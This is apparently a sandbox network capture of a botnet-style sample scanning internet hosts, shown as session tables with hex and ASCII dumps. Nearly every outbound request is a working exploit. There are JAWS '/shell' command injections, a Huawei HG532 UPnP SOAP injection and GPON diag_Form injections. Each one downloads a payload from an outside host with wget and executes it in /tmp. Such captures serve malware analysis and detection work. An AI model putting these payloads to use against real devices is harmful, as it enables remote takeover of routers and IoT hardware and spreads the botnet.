Apr 14, 2024 04:01:23.264250994 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.533102036 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1463	192.168.2.23	51200	115.135.238.166	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:01.177130938 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:01.534012079 CEST	689	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 02:01:01 GMT Server: Apache/2.4.37 (AlmaLinux) OpenSSL/1.1.1k mod_fcgid/2.3.9 Location: https://sistem.ejenhartanah.com/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 307 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 73 74 65 6d 2e 65 6a 65 6e 68 61 72 74 61 6e 61 68 2e 63 6f 6d 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://sistem.ejenhartanah.com/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1464	192.168.2.23	40448	202.207.209.51	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:01.188374996 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:02.307178020 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1465	192.168.2.23	33748	128.254.154.55	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:01.395167112 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:01.600317955 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1466	192.168.2.23	39946	102.217.230.77	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:01.445036888 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:01.946167946 CEST	212	IN	HTTP/1.1 302 Found Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:01:01 GMT Server: lighttpd/1.4.54

Session ID	Source IP	Source Port	Destination IP	Destination Port
1467	192.168.2.23	53088	156.245.120.249	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:01.863528013 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:02.190965891 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:02 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1468	192.168.2.23	33192	95.100.59.81	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:01.873049974 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:02.206450939 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:02 GMT Date: Sun, 14 Apr 2024 02:01:02 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 66 31 36 31 35 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 36 32 26 23 34 36 3b 32 33 65 31 30 31 36 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 31 66 31 36 31 35 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 36 32 26 23 34 36 3b 32 33 65 31 30 31 36 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.1f161502.1713060062.23e1016<P>https://errors.edgesuite.net/9.1f161502.1713060062.23e1016</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1469	192.168.2.23	49136	47.108.31.182	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.023396015 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:02.457618952 CEST	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:01:02 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1470	192.168.2.23	45702	156.77.138.245	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.152451992 CEST	858	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1471	192.168.2.23	52990	151.101.73.139	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.629821062 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:02.801028967 CEST	545	IN	HTTP/1.1 500 Domain Not Found Connection: keep-alive Content-Length: 246 Server: Varnish Retry-After: 0 content-type: text/html Cache-Control: private, no-cache X-Served-By: cache-bur-kbur8200168-BUR Accept-Ranges: bytes Date: Sun, 14 Apr 2024 02:01:02 GMT Via: 1.1 varnish Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 61 73 74 6c 79 20 65 72 72 6f 72 3a 20 75 6e 6b 6e 6f 77 6e 20 64 6f 6d 61 69 6e 20 31 32 37 2e 30 2e 30 2e 31 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 3e 46 61 73 74 6c 79 20 65 72 72 6f 72 3a 20 75 6e 6b 6e 6f 77 6e 20 64 6f 6d 61 69 6e 3a 20 31 32 37 2e 30 2e 30 2e 31 2e 20 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 61 64 64 65 64 20 74 6f 20 61 20 73 65 72 76 69 63 65 2e 3c 2f 70 3e 0a 3c 70 3e 44 65 74 61 69 6c 73 3a 20 63 61 63 68 65 2d 62 75 72 2d 6b 62 75 72 38 32 30 30 31 36 38 2d 42 55 52 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Fastly error: unknown domain 127.0.0.1</title></head><body><p>Fastly error: unknown domain: 127.0.0.1. Please check that this domain has been added to a service.</p><p>Details: cache-bur-kbur8200168-BUR</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1472	192.168.2.23	50080	108.156.222.54	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.681040049 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:02.900402069 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:02 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1473	192.168.2.23	46486	141.148.19.141	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.688189030 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1474	192.168.2.23	46594	34.224.189.5	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.694689035 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:02.928956985 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:01:02 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1475	192.168.2.23	47206	210.217.88.176	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:02.941972971 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:03.343013048 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:04.290843964 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:06.178644896 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:09.954065084 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:17.632993937 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:32.734973907 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1476	192.168.2.23	42174	42.246.177.110	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:03.592773914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1477	192.168.2.23	60398	37.150.251.137	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:03.592856884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1478	192.168.2.23	36070	117.125.123.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:03.592911005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1479	192.168.2.23	60386	5.82.54.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:03.592978954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1480	192.168.2.23	41148	123.143.192.50	443

Timestamp	Bytes transferred	Direction	Data
